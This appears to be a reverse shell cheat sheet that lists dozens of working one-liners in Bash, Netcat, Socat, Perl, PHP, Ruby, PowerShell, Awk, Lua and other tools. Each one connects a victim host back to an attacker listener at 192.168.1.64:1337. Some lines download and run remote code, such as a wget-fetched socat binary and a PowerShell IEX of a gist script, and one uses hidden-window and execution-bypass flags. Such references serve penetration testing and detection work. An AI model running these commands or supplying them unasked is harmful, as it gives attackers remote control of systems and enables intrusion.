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Reverse Shell Techniques

Comprehensive reverse shell command reference covering Bash TCP/UDP, Netcat, Ncat, Socat, OpenSSL, PowerShell, and multi-language implementations (Perl, PHP, Ruby, Java, Lua, NodeJS). Designed for red team research, defensive security engineering, incident response, and professional penetration testing

Bash TCP

  • Victim:
bash -i >& /dev/tcp/192.168.1.64/1337 0>&1

/bin/bash -i > /dev/tcp/192.168.1.64/1337 0<& 2>&1

exec 5<>/dev/tcp/192.168.1.64/1337;cat <&5 | while read line; do $line 2>&5 >&5; done

exec /bin/sh 0</dev/tcp/192.168.1.64/1337 1>&0 2>&0

0<&196;exec 196<>/dev/tcp/192.168.1.64/1337; sh <&196 >&196 2>&196

Bash UDP

  • Victim:
sh -i >& /dev/udp/192.168.1.64/1337 0>&1
  • Listener:
nc -u -lvp 1337

Netcat

nc -e /bin/sh 192.168.1.64 1337

nc -e /bin/bash 192.168.1.64 1337

nc -c bash 192.168.1.64 1337

mknod backpipe p && nc 192.168.1.64 1337 0<backpipe | /bin/bash 1>backpipe 

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.64 1337 >/tmp/f

rm -f /tmp/p; mknod /tmp/p p && nc 192.168.1.64 1337 0/tmp/p 2>&1

rm f;mkfifo f;cat f|/bin/sh -i 2>&1|nc 192.168.1.64 1337 > f

rm -f x; mknod x p && nc 192.168.1.64 1337 0<x | /bin/bash 1>x

Ncat

ncat 192.168.1.64 1337 -e /bin/bash

ncat --udp 192.168.1.64 1337 -e /bin/bash

Telnet

rm -f /tmp/p; mknod /tmp/p p && telnet 192.168.1.64 1337 0/tmp/p 2>&1

telnet 192.168.1.64 1337 | /bin/bash | telnet 192.168.1.64 444

rm f;mkfifo f;cat f|/bin/sh -i 2>&1|telnet 192.168.1.64 1337 > f

rm -f x; mknod x p && telnet 192.168.1.64 1337 0<x | /bin/bash 1>x

Socat

  • Victim:
/tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.1.64:1337

socat tcp-connect:192.168.1.64:1337 exec:"bash -li",pty,stderr,setsid,sigint,sane
  • Listener:
socat file:`tty`,raw,echo=0 TCP-L:1337
  • Victim:
wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.1.64:1337

Perl

  • Victim:
perl -e 'use Socket;$i="192.168.1.64";$p=1337;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.1.64:1337");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Windows (commands here only works on Microsoft Windows)

  • Victim:
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"192.168.1.64:1337");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

PHP

php -r '$sock=fsockopen("192.168.1.64",1337);exec("/bin/sh -i <&3 >&3 2>&3");'

php -r '$s=fsockopen("192.168.1.64",1337);$proc=proc_open("/bin/sh -i", array(0=>$s, 1=>$s, 2=>$s),$pipes);'

php -r '$s=fsockopen("192.168.1.64",1337);shell_exec("/bin/sh -i <&3 >&3 2>&3");'

php -r '$s=fsockopen("192.168.1.64",1337);`/bin/sh -i <&3 >&3 2>&3`;'

php -r '$s=fsockopen("192.168.1.64",1337);system("/bin/sh -i <&3 >&3 2>&3");'

php -r '$s=fsockopen("192.168.1.64",1337);popen("/bin/sh -i <&3 >&3 2>&3", "r");'

Ruby

ruby -rsocket -e'f=TCPSocket.open("192.168.1.64",1337).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.1.64","1337");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

Ruby (commands here only works on Microsoft Windows)

ruby -rsocket -e 'c=TCPSocket.new("192.168.1.64","1337");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

OpenSSL

  • Attacker:
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

openssl s_server -quiet -key key.pem -cert cert.pem -port 1337
  • or
ncat --ssl -vv -l -p 1337
  • Victim:
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.1.64:1337 > /tmp/s; rm /tmp/s

Powershell

powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("192.168.1.64",1337);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.1.64',1337);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

powershell IEX (New-Object Net.WebClient).DownloadString('https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/mini-reverse.ps1')

Awk

awk 'BEGIN {s = "/inet/tcp/0/192.168.1.64/1337"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null

TCLsh

echo 'set s [socket 192.168.1.64 1337];while 42 { puts -nonewline $s "shell>";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | tclsh

Lua (commands here only works on Linux)

lua -e "require('socket');require('os');t=socket.tcp();t:connect('192.168.1.64','1337');os.execute('/bin/sh -i <&3 >&3 2>&3');"

Xterm

xterm -display 192.168.1.64:1
Xnest :1
xhost +targetip